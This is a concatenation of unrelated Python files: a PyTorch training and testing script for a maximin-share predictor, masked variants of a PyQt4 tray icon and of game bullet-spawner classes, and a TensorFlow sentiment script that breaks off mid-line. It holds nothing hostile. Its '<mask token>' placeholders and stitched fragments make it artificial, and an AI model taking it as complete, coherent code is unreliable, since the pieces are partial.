optimizer.zero_grad() pred = net(x) loss = loss_func(pred, y) loss.backward() optimizer.step() net.eval() valid_loss = compute_loss(validation_loader, net) validation_loss_vs_epoch.append(valid_loss) def zero_pad(values, max_m): m = len(values) values += [0] * (max_m - m) def solve_with_solver(values_copy, n): return xpress_solver(values_copy, n) def solve_with_net(values_copy, n): start = time.time() sum_vals = sum(values_copy) new_values = [(val / sum_vals) for val in values_copy] pred = net(torch.FloatTensor([float(n)] + new_values)) pred_num = float(pred.data[0]) final_result = pred_num * sum_vals end = time.time() return final_result, end - start def test_net(path): max_m = 100 filelist = glob.glob(path + '/*.json') print(len(filelist)) test_result = dict() filelist_len = len(filelist) for count, filename in enumerate(filelist): n, m, max_val = get_params_from_filename(filename) data_list_in_file = [] with open(filename) as jsonFile: data_list_in_file = json.load(jsonFile) idx = random.randint(0, len(data_list_in_file) - 1) example = data_list_in_file[idx] values = example[0]['values'] values_copy = copy.deepcopy(values) values_copy.sort(reverse=True) solver_result, solver_time = solve_with_solver(values_copy, n) zero_pad(values_copy, max_m) net_result, net_time = solve_with_net(values_copy, n) test_result[str((n, m, max_val))] = {'values_idx': idx, 'solver_result': solver_result, 'solver_time': solver_time, 'net_result': net_result, 'net_time': net_time} if count % 20 == 0: print(count, 'out of', filelist_len) test_result_path = './TestResults/test_results.json' with open(test_result_path, 'w+') as json_file: json.dump(test_result, json_file, indent=4) test_net(path_to_data)
import random import glob import json import time from torch.utils.data import Dataset, DataLoader, SubsetRandomSampler from SimpleDataLoader import CustomDataset, get_params_from_filename import numpy as np from DNN_model import Net import torch.optim as optim import torch.nn as nn import torch from tqdm import tqdm from MMS_compute import xpress_solver import copy path_to_data = 'Dataset' def split_to_train_validation(path_to_data): dataset = CustomDataset(path_to_data) print(len(dataset)) batch_size = 300 validation_split = 0.2 shuffle_dataset = True random_seed= 56 dataset_size = len(dataset) indices = list(range(dataset_size)) split = int(np.floor(validation_split * dataset_size)) if shuffle_dataset : np.random.seed(random_seed) np.random.shuffle(indices) train_indices, val_indices = indices[split:], indices[:split] print(len(train_indices), len(val_indices)) # Creating PT data samplers and loaders: train_sampler = SubsetRandomSampler(train_indices) valid_sampler = SubsetRandomSampler(val_indices) train_loader = DataLoader(dataset, batch_size=batch_size, sampler=train_sampler) validation_loader = DataLoader(dataset, batch_size=batch_size, sampler=valid_sampler) print(len(train_loader), len(validation_loader)) return train_loader, validation_loader train_loader, validation_loader = split_to_train_validation(path_to_data) net = Net() loss_func = nn.MSELoss() # loss_func = nn.L1Loss() optimizer = optim.Adam(net.parameters(), lr=1e-4) def compute_loss(dataloader, net): loss = 0 if torch.cuda.is_available(): net.cuda() net.eval() n_batches = 0 with torch.no_grad(): for x, y in dataloader: n_batches += 1 if torch.cuda.is_available(): x = x.cuda() y = y.cuda() pred = net(x) loss += loss_func(pred, y).item() loss = loss / n_batches return loss n_epochs = 50 pbar = tqdm(range(n_epochs)) validation_loss_vs_epoch = [] if torch.cuda.is_available(): net.cuda() for epoch in pbar: if len(validation_loss_vs_epoch) > 1: print('epoch', epoch, ' val loss:' + '{0:.5f}'.format(validation_loss_vs_epoch[-1])) net.train() # put the net into "training mode" for x, y in train_loader: y = y.to(torch.float32) if torch.cuda.is_available(): x = x.cuda() y = y.cuda() optimizer.zero_grad() pred = net(x) loss = loss_func(pred, y) loss.backward() optimizer.step() net.eval() # put the net into evaluation mode valid_loss = compute_loss(validation_loader, net) validation_loss_vs_epoch.append(valid_loss) # n = 5 # m = 50 # max_val = 100 # values = [random.randrange(0, max_val + 1) for _ in range(m)] # values.sort(reverse=True) # values += [0]*50 # mms = xpress_solver(values,n)[0] # sum_vals = sum(values) # new_values = [val/sum_vals for val in values] # pred = net(torch.FloatTensor([float(n)]+new_values)) # pred_num = float(pred.data[0]) # print(pred, mms, pred*sum_vals) # print(pred_num*sum_vals) def zero_pad(values, max_m): m = len(values) values += [0] * (max_m - m) def solve_with_solver(values_copy, n): return xpress_solver(values_copy, n) def solve_with_net(values_copy, n): start = time.time() sum_vals = sum(values_copy) new_values = [val / sum_vals for val in values_copy] pred = net(torch.FloatTensor([float(n)] + new_values)) pred_num = float(pred.data[0]) final_result = pred_num*sum_vals end = time.time() return final_result, end-start def test_net(path): max_m = 100 filelist = glob.glob(path + '/*.json') print(len(filelist)) test_result = dict() filelist_len = len(filelist) for count, filename in enumerate(filelist): n, m, max_val = get_params_from_filename(filename) data_list_in_file = [] with open(filename) as jsonFile: data_list_in_file = json.load(jsonFile) idx = random.randint(0, len(data_list_in_file)-1) example=data_list_in_file[idx] values = example[0]["values"] values_copy = copy.deepcopy(values) values_copy.sort(reverse=True) solver_result, solver_time = solve_with_solver(values_copy, n) zero_pad(values_copy, max_m) net_result, net_time = solve_with_net(values_copy, n) test_result[str((n, m, max_val))] = { 'values_idx': idx, 'solver_result': solver_result, 'solver_time':solver_time, 'net_result':net_result, 'net_time':net_time } if count % 20 == 0: print(count, 'out of', filelist_len) test_result_path = './TestResults/test_results.json' with open(test_result_path, 'w+') as json_file: json.dump(test_result, json_file, indent=4) test_net(path_to_data)
[ 4, 6, 7, 9, 10 ]
9,931
c6e315d7dd44b998f64eee079f2d8455ffecdc30
<mask token> class SystemTrayIcon(QSystemTrayIcon): <mask token> <mask token> def set_icon_state(self, state): pixmap = QApplication.instance().windowIcon().pixmap(256, 256, state) self.setIcon(QIcon(pixmap))
<mask token> class SystemTrayIcon(QSystemTrayIcon): def __init__(self, parent=None): super(SystemTrayIcon, self).__init__(parent) self.set_icon_state(QIcon.Disabled) menu = QMenu(parent) self.exit_action = menu.addAction('E&xit') self.exit_action.triggered.connect(self.close_application) self.setContextMenu(menu) self.setToolTip(QApplication.instance().applicationName()) <mask token> def set_icon_state(self, state): pixmap = QApplication.instance().windowIcon().pixmap(256, 256, state) self.setIcon(QIcon(pixmap))
<mask token> class SystemTrayIcon(QSystemTrayIcon): def __init__(self, parent=None): super(SystemTrayIcon, self).__init__(parent) self.set_icon_state(QIcon.Disabled) menu = QMenu(parent) self.exit_action = menu.addAction('E&xit') self.exit_action.triggered.connect(self.close_application) self.setContextMenu(menu) self.setToolTip(QApplication.instance().applicationName()) def close_application(self): self.parent().close() def set_icon_state(self, state): pixmap = QApplication.instance().windowIcon().pixmap(256, 256, state) self.setIcon(QIcon(pixmap))
from PyQt4.QtGui import QSystemTrayIcon, QApplication, QMenu, QIcon class SystemTrayIcon(QSystemTrayIcon): def __init__(self, parent=None): super(SystemTrayIcon, self).__init__(parent) self.set_icon_state(QIcon.Disabled) menu = QMenu(parent) self.exit_action = menu.addAction('E&xit') self.exit_action.triggered.connect(self.close_application) self.setContextMenu(menu) self.setToolTip(QApplication.instance().applicationName()) def close_application(self): self.parent().close() def set_icon_state(self, state): pixmap = QApplication.instance().windowIcon().pixmap(256, 256, state) self.setIcon(QIcon(pixmap))
from PyQt4.QtGui import QSystemTrayIcon, QApplication, QMenu, QIcon class SystemTrayIcon(QSystemTrayIcon): def __init__(self, parent=None): super(SystemTrayIcon, self).__init__(parent) self.set_icon_state(QIcon.Disabled) menu = QMenu(parent) self.exit_action = menu.addAction('E&xit') self.exit_action.triggered.connect(self.close_application) self.setContextMenu(menu) self.setToolTip(QApplication.instance().applicationName()) def close_application(self): self.parent().close() def set_icon_state(self, state): pixmap = QApplication.instance().windowIcon().pixmap(256, 256, state) self.setIcon(QIcon(pixmap))
[ 2, 3, 4, 5, 6 ]
9,932
519746450826d02230a492a99e0b518602d53fcb
<mask token> class BulletSpawnerTemplate(object): <mask token> <mask token> def setRounds(self, rounds): self._rounds = rounds <mask token> <mask token> <mask token> <mask token> <mask token> <mask token> class BulletMasterTemplate(object): def __init__(self, name): self._name = name self._bulletSpawnerTemplates = [] self._powerUpTable = {'life': 0, 'power': 0, 'spell': 0, 'points': 0} def addBulletSpawnerTemplates(self, bulletSpawnerTemplate): self._bulletSpawnerTemplates.append(bulletSpawnerTemplate) class Bullet(MovementCommander): def __init__(self, bulletTemplate, position, exitAngle, master, spawningCycle): temp = copy.deepcopy(bulletTemplate._initialVelocity) temp._angle = temp._angle + exitAngle super().__init__(position, temp, spawningCycle) self.addStartingParameters(position, temp) self._animationName = bulletTemplate._animationName for i in bulletTemplate._movementList: self.addMovementCommandDirect(i, bulletTemplate._movementList[i]) self.calculatePositions(master, master._playerPosition, [-100, -100, 1620, 1180], None) class BulletSpawner(MovementCommander): def __init__(self, bulletSpawnerTemplate, masterPosition, master, enemy, spawningCycle): self._internalCounter = 0 self._exitLocations = [] self._displacement = 0.0 self._master = master self._displacement = bulletSpawnerTemplate._displacement for i in bulletSpawnerTemplate._exitLocations: self._exitLocations.append(i) self._rotationSpeed = bulletSpawnerTemplate._rotationSpeed self._bulletTemplate = bulletSpawnerTemplate._bulletTemplate self._spawningCycle = enemy._spawningCycle self._seenCycle = enemy._spawningCycle self._deathCycle = enemy._deathCycle self._sprayTimer = bulletSpawnerTemplate._sprayTimer self._initialDelay = bulletSpawnerTemplate._initialDelay try: self._lengthOfSpray = max(self._sprayTimer) except ValueError: self._lengthOfSpray = 0 self._inBetweenTimer = bulletSpawnerTemplate._inBetweenTimer self._rounds = bulletSpawnerTemplate._rounds super().__init__(bulletSpawnerTemplate._initialPosition, bulletSpawnerTemplate._initialVelocity, spawningCycle) self.calculatePositions(master, master._playerPosition, None, masterPosition) self._maskName = bulletSpawnerTemplate._maskName self._maskLayer = bulletSpawnerTemplate._maskLayer def calculateBullets(self): returnList = [] mode = 'initialDelayMode' switchCounter = -1 currentRound = 0 for i in self._positionList: self._internalCounter = self._internalCounter + 1 switchCounter = switchCounter + 1 if mode == 'initialDelayMode': if switchCounter >= self._initialDelay: mode = 'sprayMode' switchCounter = -1 self._seenCycle = (self._spawningCycle + self. _internalCounter) elif mode == 'sprayMode': if switchCounter in self._sprayTimer: for j in self._exitLocations: offset = CUS_Polar(self._displacement, j) pos = CUS_Point(0.0, 0.0) pos.add(toPoint(offset)) pos._x = pos._x + i._x pos._y = pos._y + i._y bullet = Bullet(self._bulletTemplate, pos, j, self. _master, self._spawningCycle + self. _internalCounter) returnList.append(bullet) if switchCounter >= self._lengthOfSpray: mode = 'inBetweenTimerMode' currentRound = currentRound + 1 switchCounter = -1 elif mode == 'inBetweenTimerMode': if switchCounter >= self._inBetweenTimer: mode = 'sprayMode' switchCounter = -1 if currentRound >= self._rounds and self._rounds is not -1: mode = 'sprayOverMode' self._deathCycle = (self._spawningCycle + self. _internalCounter) return returnList class BulletMaster(object): def __init__(self, bulletMasterTemplate, masterPositionList, master, enemy, spawningCycle): self._name = bulletMasterTemplate._name self._bulletSpawners = [] for i in bulletMasterTemplate._bulletSpawnerTemplates: self._bulletSpawners.append(BulletSpawner(i, masterPositionList, master, enemy, spawningCycle)) def calculateBullets(self): returnList = [] for i in self._bulletSpawners: returnList.extend(i.calculateBullets()) return returnList
<mask token> class BulletSpawnerTemplate(object): def __init__(self, initialPosition, initialVelocity): self._spawningCycle = 0 self._initialPosition = initialPosition self._initialVelocity = initialVelocity self._movementList = dict() self._displacement = 0 self._exitLocations = [] self._rotationSpeed = 0 self._initialDelay = 0 self._sprayTimer = [] self._inBetweenTimer = 0 self._rounds = -1 self._bulletTemplate = None self._maskName = '' self._maskLayer = 0 <mask token> def setRounds(self, rounds): self._rounds = rounds def setInitialDelay(self, initialDelay): self._initialDelay = initialDelay def setInBetweenTimer(self, delay): self._inBetweenTimer = delay def addExitLocation(self, location): self._exitLocations.append(location) def addBulletTemplate(self, bulletTemplate): self._bulletTemplate = bulletTemplate def addMovementCommand(self, cycle, movementCommand): self._movementList[cycle] = movementCommand def addMask(self, maskName, maskLayer): self._maskName = maskName self._maskLayer = maskLayer class BulletMasterTemplate(object): def __init__(self, name): self._name = name self._bulletSpawnerTemplates = [] self._powerUpTable = {'life': 0, 'power': 0, 'spell': 0, 'points': 0} def addBulletSpawnerTemplates(self, bulletSpawnerTemplate): self._bulletSpawnerTemplates.append(bulletSpawnerTemplate) class Bullet(MovementCommander): def __init__(self, bulletTemplate, position, exitAngle, master, spawningCycle): temp = copy.deepcopy(bulletTemplate._initialVelocity) temp._angle = temp._angle + exitAngle super().__init__(position, temp, spawningCycle) self.addStartingParameters(position, temp) self._animationName = bulletTemplate._animationName for i in bulletTemplate._movementList: self.addMovementCommandDirect(i, bulletTemplate._movementList[i]) self.calculatePositions(master, master._playerPosition, [-100, -100, 1620, 1180], None) class BulletSpawner(MovementCommander): def __init__(self, bulletSpawnerTemplate, masterPosition, master, enemy, spawningCycle): self._internalCounter = 0 self._exitLocations = [] self._displacement = 0.0 self._master = master self._displacement = bulletSpawnerTemplate._displacement for i in bulletSpawnerTemplate._exitLocations: self._exitLocations.append(i) self._rotationSpeed = bulletSpawnerTemplate._rotationSpeed self._bulletTemplate = bulletSpawnerTemplate._bulletTemplate self._spawningCycle = enemy._spawningCycle self._seenCycle = enemy._spawningCycle self._deathCycle = enemy._deathCycle self._sprayTimer = bulletSpawnerTemplate._sprayTimer self._initialDelay = bulletSpawnerTemplate._initialDelay try: self._lengthOfSpray = max(self._sprayTimer) except ValueError: self._lengthOfSpray = 0 self._inBetweenTimer = bulletSpawnerTemplate._inBetweenTimer self._rounds = bulletSpawnerTemplate._rounds super().__init__(bulletSpawnerTemplate._initialPosition, bulletSpawnerTemplate._initialVelocity, spawningCycle) self.calculatePositions(master, master._playerPosition, None, masterPosition) self._maskName = bulletSpawnerTemplate._maskName self._maskLayer = bulletSpawnerTemplate._maskLayer def calculateBullets(self): returnList = [] mode = 'initialDelayMode' switchCounter = -1 currentRound = 0 for i in self._positionList: self._internalCounter = self._internalCounter + 1 switchCounter = switchCounter + 1 if mode == 'initialDelayMode': if switchCounter >= self._initialDelay: mode = 'sprayMode' switchCounter = -1 self._seenCycle = (self._spawningCycle + self. _internalCounter) elif mode == 'sprayMode': if switchCounter in self._sprayTimer: for j in self._exitLocations: offset = CUS_Polar(self._displacement, j) pos = CUS_Point(0.0, 0.0) pos.add(toPoint(offset)) pos._x = pos._x + i._x pos._y = pos._y + i._y bullet = Bullet(self._bulletTemplate, pos, j, self. _master, self._spawningCycle + self. _internalCounter) returnList.append(bullet) if switchCounter >= self._lengthOfSpray: mode = 'inBetweenTimerMode' currentRound = currentRound + 1 switchCounter = -1 elif mode == 'inBetweenTimerMode': if switchCounter >= self._inBetweenTimer: mode = 'sprayMode' switchCounter = -1 if currentRound >= self._rounds and self._rounds is not -1: mode = 'sprayOverMode' self._deathCycle = (self._spawningCycle + self. _internalCounter) return returnList class BulletMaster(object): def __init__(self, bulletMasterTemplate, masterPositionList, master, enemy, spawningCycle): self._name = bulletMasterTemplate._name self._bulletSpawners = [] for i in bulletMasterTemplate._bulletSpawnerTemplates: self._bulletSpawners.append(BulletSpawner(i, masterPositionList, master, enemy, spawningCycle)) def calculateBullets(self): returnList = [] for i in self._bulletSpawners: returnList.extend(i.calculateBullets()) return returnList
<mask token> class BulletSpawnerTemplate(object): def __init__(self, initialPosition, initialVelocity): self._spawningCycle = 0 self._initialPosition = initialPosition self._initialVelocity = initialVelocity self._movementList = dict() self._displacement = 0 self._exitLocations = [] self._rotationSpeed = 0 self._initialDelay = 0 self._sprayTimer = [] self._inBetweenTimer = 0 self._rounds = -1 self._bulletTemplate = None self._maskName = '' self._maskLayer = 0 def addSprayTimer(self, sprayTimer): self._sprayTimer.extend(sprayTimer) def setRounds(self, rounds): self._rounds = rounds def setInitialDelay(self, initialDelay): self._initialDelay = initialDelay def setInBetweenTimer(self, delay): self._inBetweenTimer = delay def addExitLocation(self, location): self._exitLocations.append(location) def addBulletTemplate(self, bulletTemplate): self._bulletTemplate = bulletTemplate def addMovementCommand(self, cycle, movementCommand): self._movementList[cycle] = movementCommand def addMask(self, maskName, maskLayer): self._maskName = maskName self._maskLayer = maskLayer class BulletMasterTemplate(object): def __init__(self, name): self._name = name self._bulletSpawnerTemplates = [] self._powerUpTable = {'life': 0, 'power': 0, 'spell': 0, 'points': 0} def addBulletSpawnerTemplates(self, bulletSpawnerTemplate): self._bulletSpawnerTemplates.append(bulletSpawnerTemplate) class Bullet(MovementCommander): def __init__(self, bulletTemplate, position, exitAngle, master, spawningCycle): temp = copy.deepcopy(bulletTemplate._initialVelocity) temp._angle = temp._angle + exitAngle super().__init__(position, temp, spawningCycle) self.addStartingParameters(position, temp) self._animationName = bulletTemplate._animationName for i in bulletTemplate._movementList: self.addMovementCommandDirect(i, bulletTemplate._movementList[i]) self.calculatePositions(master, master._playerPosition, [-100, -100, 1620, 1180], None) class BulletSpawner(MovementCommander): def __init__(self, bulletSpawnerTemplate, masterPosition, master, enemy, spawningCycle): self._internalCounter = 0 self._exitLocations = [] self._displacement = 0.0 self._master = master self._displacement = bulletSpawnerTemplate._displacement for i in bulletSpawnerTemplate._exitLocations: self._exitLocations.append(i) self._rotationSpeed = bulletSpawnerTemplate._rotationSpeed self._bulletTemplate = bulletSpawnerTemplate._bulletTemplate self._spawningCycle = enemy._spawningCycle self._seenCycle = enemy._spawningCycle self._deathCycle = enemy._deathCycle self._sprayTimer = bulletSpawnerTemplate._sprayTimer self._initialDelay = bulletSpawnerTemplate._initialDelay try: self._lengthOfSpray = max(self._sprayTimer) except ValueError: self._lengthOfSpray = 0 self._inBetweenTimer = bulletSpawnerTemplate._inBetweenTimer self._rounds = bulletSpawnerTemplate._rounds super().__init__(bulletSpawnerTemplate._initialPosition, bulletSpawnerTemplate._initialVelocity, spawningCycle) self.calculatePositions(master, master._playerPosition, None, masterPosition) self._maskName = bulletSpawnerTemplate._maskName self._maskLayer = bulletSpawnerTemplate._maskLayer def calculateBullets(self): returnList = [] mode = 'initialDelayMode' switchCounter = -1 currentRound = 0 for i in self._positionList: self._internalCounter = self._internalCounter + 1 switchCounter = switchCounter + 1 if mode == 'initialDelayMode': if switchCounter >= self._initialDelay: mode = 'sprayMode' switchCounter = -1 self._seenCycle = (self._spawningCycle + self. _internalCounter) elif mode == 'sprayMode': if switchCounter in self._sprayTimer: for j in self._exitLocations: offset = CUS_Polar(self._displacement, j) pos = CUS_Point(0.0, 0.0) pos.add(toPoint(offset)) pos._x = pos._x + i._x pos._y = pos._y + i._y bullet = Bullet(self._bulletTemplate, pos, j, self. _master, self._spawningCycle + self. _internalCounter) returnList.append(bullet) if switchCounter >= self._lengthOfSpray: mode = 'inBetweenTimerMode' currentRound = currentRound + 1 switchCounter = -1 elif mode == 'inBetweenTimerMode': if switchCounter >= self._inBetweenTimer: mode = 'sprayMode' switchCounter = -1 if currentRound >= self._rounds and self._rounds is not -1: mode = 'sprayOverMode' self._deathCycle = (self._spawningCycle + self. _internalCounter) return returnList class BulletMaster(object): def __init__(self, bulletMasterTemplate, masterPositionList, master, enemy, spawningCycle): self._name = bulletMasterTemplate._name self._bulletSpawners = [] for i in bulletMasterTemplate._bulletSpawnerTemplates: self._bulletSpawners.append(BulletSpawner(i, masterPositionList, master, enemy, spawningCycle)) def calculateBullets(self): returnList = [] for i in self._bulletSpawners: returnList.extend(i.calculateBullets()) return returnList
<mask token> class BulletTemplate(object): def __init__(self, animationName, initialVelocity, hitbox): self._spawningCycle = 0 self._animationName = animationName self._initialVelocity = initialVelocity self._movementList = dict() self._hitbox = hitbox <mask token> class BulletSpawnerTemplate(object): def __init__(self, initialPosition, initialVelocity): self._spawningCycle = 0 self._initialPosition = initialPosition self._initialVelocity = initialVelocity self._movementList = dict() self._displacement = 0 self._exitLocations = [] self._rotationSpeed = 0 self._initialDelay = 0 self._sprayTimer = [] self._inBetweenTimer = 0 self._rounds = -1 self._bulletTemplate = None self._maskName = '' self._maskLayer = 0 def addSprayTimer(self, sprayTimer): self._sprayTimer.extend(sprayTimer) def setRounds(self, rounds): self._rounds = rounds def setInitialDelay(self, initialDelay): self._initialDelay = initialDelay def setInBetweenTimer(self, delay): self._inBetweenTimer = delay def addExitLocation(self, location): self._exitLocations.append(location) def addBulletTemplate(self, bulletTemplate): self._bulletTemplate = bulletTemplate def addMovementCommand(self, cycle, movementCommand): self._movementList[cycle] = movementCommand def addMask(self, maskName, maskLayer): self._maskName = maskName self._maskLayer = maskLayer class BulletMasterTemplate(object): def __init__(self, name): self._name = name self._bulletSpawnerTemplates = [] self._powerUpTable = {'life': 0, 'power': 0, 'spell': 0, 'points': 0} def addBulletSpawnerTemplates(self, bulletSpawnerTemplate): self._bulletSpawnerTemplates.append(bulletSpawnerTemplate) class Bullet(MovementCommander): def __init__(self, bulletTemplate, position, exitAngle, master, spawningCycle): temp = copy.deepcopy(bulletTemplate._initialVelocity) temp._angle = temp._angle + exitAngle super().__init__(position, temp, spawningCycle) self.addStartingParameters(position, temp) self._animationName = bulletTemplate._animationName for i in bulletTemplate._movementList: self.addMovementCommandDirect(i, bulletTemplate._movementList[i]) self.calculatePositions(master, master._playerPosition, [-100, -100, 1620, 1180], None) class BulletSpawner(MovementCommander): def __init__(self, bulletSpawnerTemplate, masterPosition, master, enemy, spawningCycle): self._internalCounter = 0 self._exitLocations = [] self._displacement = 0.0 self._master = master self._displacement = bulletSpawnerTemplate._displacement for i in bulletSpawnerTemplate._exitLocations: self._exitLocations.append(i) self._rotationSpeed = bulletSpawnerTemplate._rotationSpeed self._bulletTemplate = bulletSpawnerTemplate._bulletTemplate self._spawningCycle = enemy._spawningCycle self._seenCycle = enemy._spawningCycle self._deathCycle = enemy._deathCycle self._sprayTimer = bulletSpawnerTemplate._sprayTimer self._initialDelay = bulletSpawnerTemplate._initialDelay try: self._lengthOfSpray = max(self._sprayTimer) except ValueError: self._lengthOfSpray = 0 self._inBetweenTimer = bulletSpawnerTemplate._inBetweenTimer self._rounds = bulletSpawnerTemplate._rounds super().__init__(bulletSpawnerTemplate._initialPosition, bulletSpawnerTemplate._initialVelocity, spawningCycle) self.calculatePositions(master, master._playerPosition, None, masterPosition) self._maskName = bulletSpawnerTemplate._maskName self._maskLayer = bulletSpawnerTemplate._maskLayer def calculateBullets(self): returnList = [] mode = 'initialDelayMode' switchCounter = -1 currentRound = 0 for i in self._positionList: self._internalCounter = self._internalCounter + 1 switchCounter = switchCounter + 1 if mode == 'initialDelayMode': if switchCounter >= self._initialDelay: mode = 'sprayMode' switchCounter = -1 self._seenCycle = (self._spawningCycle + self. _internalCounter) elif mode == 'sprayMode': if switchCounter in self._sprayTimer: for j in self._exitLocations: offset = CUS_Polar(self._displacement, j) pos = CUS_Point(0.0, 0.0) pos.add(toPoint(offset)) pos._x = pos._x + i._x pos._y = pos._y + i._y bullet = Bullet(self._bulletTemplate, pos, j, self. _master, self._spawningCycle + self. _internalCounter) returnList.append(bullet) if switchCounter >= self._lengthOfSpray: mode = 'inBetweenTimerMode' currentRound = currentRound + 1 switchCounter = -1 elif mode == 'inBetweenTimerMode': if switchCounter >= self._inBetweenTimer: mode = 'sprayMode' switchCounter = -1 if currentRound >= self._rounds and self._rounds is not -1: mode = 'sprayOverMode' self._deathCycle = (self._spawningCycle + self. _internalCounter) return returnList class BulletMaster(object): def __init__(self, bulletMasterTemplate, masterPositionList, master, enemy, spawningCycle): self._name = bulletMasterTemplate._name self._bulletSpawners = [] for i in bulletMasterTemplate._bulletSpawnerTemplates: self._bulletSpawners.append(BulletSpawner(i, masterPositionList, master, enemy, spawningCycle)) def calculateBullets(self): returnList = [] for i in self._bulletSpawners: returnList.extend(i.calculateBullets()) return returnList
#classes that store values related to levels from mg_cus_struct import * from mg_movement import * import copy class BulletTemplate(object) : def __init__(self, animationName, initialVelocity, hitbox) : self._spawningCycle = 0 self._animationName = animationName self._initialVelocity = initialVelocity self._movementList = dict() self._hitbox = hitbox def addMovementCommand(self, cycle, movementCommand) : self._movementList[cycle] = movementCommand class BulletSpawnerTemplate(object) : def __init__(self, initialPosition, initialVelocity) : self._spawningCycle = 0 self._initialPosition = initialPosition self._initialVelocity = initialVelocity self._movementList = dict() self._displacement = 0 self._exitLocations = [] self._rotationSpeed = 0 self._initialDelay = 0 self._sprayTimer = [] self._inBetweenTimer = 0 self._rounds = -1 self._bulletTemplate = None #mask self._maskName = "" self._maskLayer = 0 def addSprayTimer(self, sprayTimer) : self._sprayTimer.extend(sprayTimer) def setRounds(self, rounds) : self._rounds = rounds def setInitialDelay(self, initialDelay) : self._initialDelay = initialDelay def setInBetweenTimer(self, delay) : self._inBetweenTimer = delay def addExitLocation(self, location) : self._exitLocations.append(location) def addBulletTemplate(self, bulletTemplate) : self._bulletTemplate = bulletTemplate def addMovementCommand(self, cycle, movementCommand) : self._movementList[cycle] = movementCommand def addMask(self, maskName, maskLayer) : self._maskName = maskName self._maskLayer = maskLayer class BulletMasterTemplate(object) : def __init__(self, name) : self._name = name self._bulletSpawnerTemplates = [] self._powerUpTable = { "life" : 0, "power" : 0, "spell" : 0, "points" : 0, } def addBulletSpawnerTemplates(self, bulletSpawnerTemplate) : self._bulletSpawnerTemplates.append(bulletSpawnerTemplate) class Bullet(MovementCommander) : def __init__(self, bulletTemplate, position, exitAngle, master, spawningCycle) : temp = copy.deepcopy(bulletTemplate._initialVelocity) temp._angle = temp._angle + exitAngle super().__init__(position, temp, spawningCycle) self.addStartingParameters(position, temp) self._animationName = bulletTemplate._animationName for i in bulletTemplate._movementList : self.addMovementCommandDirect(i, bulletTemplate._movementList[i]) self.calculatePositions(master, master._playerPosition, [-100, -100, 1620, 1180], None) class BulletSpawner(MovementCommander) : def __init__(self, bulletSpawnerTemplate, masterPosition, master, enemy, spawningCycle) : self._internalCounter = 0 self._exitLocations = [] self._displacement = 0.0 self._master = master self._displacement = bulletSpawnerTemplate._displacement for i in bulletSpawnerTemplate._exitLocations : self._exitLocations.append(i) self._rotationSpeed = bulletSpawnerTemplate._rotationSpeed self._bulletTemplate = bulletSpawnerTemplate._bulletTemplate self._spawningCycle = enemy._spawningCycle self._seenCycle = enemy._spawningCycle self._deathCycle = enemy._deathCycle self._sprayTimer = bulletSpawnerTemplate._sprayTimer self._initialDelay = bulletSpawnerTemplate._initialDelay try : self._lengthOfSpray = max(self._sprayTimer) except ValueError: self._lengthOfSpray = 0 self._inBetweenTimer = bulletSpawnerTemplate._inBetweenTimer self._rounds = bulletSpawnerTemplate._rounds super().__init__(bulletSpawnerTemplate._initialPosition, bulletSpawnerTemplate._initialVelocity, spawningCycle) self.calculatePositions(master, master._playerPosition, None, masterPosition) #apply masks self._maskName = bulletSpawnerTemplate._maskName self._maskLayer = bulletSpawnerTemplate._maskLayer def calculateBullets(self) : returnList = [] mode = "initialDelayMode" switchCounter = -1 currentRound = 0 for i in self._positionList : self._internalCounter = self._internalCounter + 1 switchCounter = switchCounter + 1 if mode == "initialDelayMode" : if switchCounter >= self._initialDelay : mode = "sprayMode" switchCounter = -1 self._seenCycle = self._spawningCycle + self._internalCounter elif mode == "sprayMode" : if switchCounter in self._sprayTimer : for j in self._exitLocations : offset = CUS_Polar(self._displacement, j) pos = CUS_Point(0.0, 0.0) pos.add(toPoint(offset)) pos._x = pos._x + i._x pos._y = pos._y + i._y bullet = Bullet(self._bulletTemplate, pos, j, self._master, self._spawningCycle+self._internalCounter) returnList.append(bullet) if switchCounter >= self._lengthOfSpray : mode = "inBetweenTimerMode" currentRound = currentRound + 1 switchCounter = -1 elif mode == "inBetweenTimerMode" : if switchCounter >= self._inBetweenTimer : mode = "sprayMode" switchCounter = -1 if currentRound >= self._rounds and self._rounds is not -1 : mode = "sprayOverMode" self._deathCycle = self._spawningCycle + self._internalCounter return returnList class BulletMaster(object) : def __init__(self, bulletMasterTemplate, masterPositionList, master, enemy, spawningCycle) : self._name = bulletMasterTemplate._name self._bulletSpawners = [] for i in bulletMasterTemplate._bulletSpawnerTemplates : self._bulletSpawners.append(BulletSpawner(i, masterPositionList, master, enemy, spawningCycle)) def calculateBullets(self) : returnList = [] for i in self._bulletSpawners : returnList.extend(i.calculateBullets()) return returnList
[ 13, 20, 21, 23, 26 ]
9,933
7e461e212d9944c229d1473ea16283d3d036bf55
import tensorflow as tf import gensim import string import numpy as np import random ##### prepare data path = 'stanfordSentimentTreebank/output_50d.txt' # model_path = 'stanfordSentimentTreebank/output' # model = gensim.models.Word2Vec.load(model_path) model = gensim.models.KeyedVectors.load_word2vec_format('/Users/ivanfzh/Downloads/glove.6B/glove.6B.50d.txt', binary=False) sentence_max = 56 class Data(object): def __init__(self): self.data_in = [] self.data_label = [] self.batch_id = 0 self.data_length = [] fp = open(path, 'r') for l in fp.readlines(): line = l.strip('\n').split('|') word_list = line[0].split(' ') s = [] for item in word_list: item = string.lower(item) s.append(model[item].tolist()) if len(word_list) < sentence_max: for i in range(sentence_max - len(word_list)): s.append([0. for k in range(50)]) self.data_length.append(len(word_list)) l = [0. for k in range(5)] value = float(line[1]) label_index = int(value / 0.2) if label_index >= 5: l[4] = 1.0 else: l[label_index] = 1.0 self.data_in.append(s) self.data_label.append(l) def next(self, batch_size): if self.batch_id + batch_size >= len(self.data_in): batch_data_in = self.data_in[self.batch_id: len(self.data_in)] batch_data_label = self.data_label[self.batch_id: len(self.data_in)] batch_data_length = self.data_length[self.batch_id: len(self.data_in)] self.batch_id = self.batch_id + batch_size - len(self.data_in) batch_data_in += self.data_in[0:self.batch_id] batch_data_label += self.data_label[0:self.batch_id] batch_data_length += self.data_length[0:self.batch_id] else: batch_data_in = self.data_in[self.batch_id: self.batch_id + batch_size] batch_data_label = self.data_label[self.batch_id: self.batch_id + batch_size] batch_data_length = self.data_length[self.batch_id: self.batch_id + batch_size] self.batch_id = self.batch_id + batch_size return batch_data_in, batch_data_label, batch_data_length trainset = Data() print len(trainset.data_in) # ============== # MODEL # ============== learning_rate = 0.001 training_iters = 500000 batch_size = 128 display_step = 100 # Network Parameters n_input = 50 # data input (shape: 50*56) n_steps = 56 # timesteps n_hidden = 128 # hidden layer num of features n_classes = 5 # total classes x = 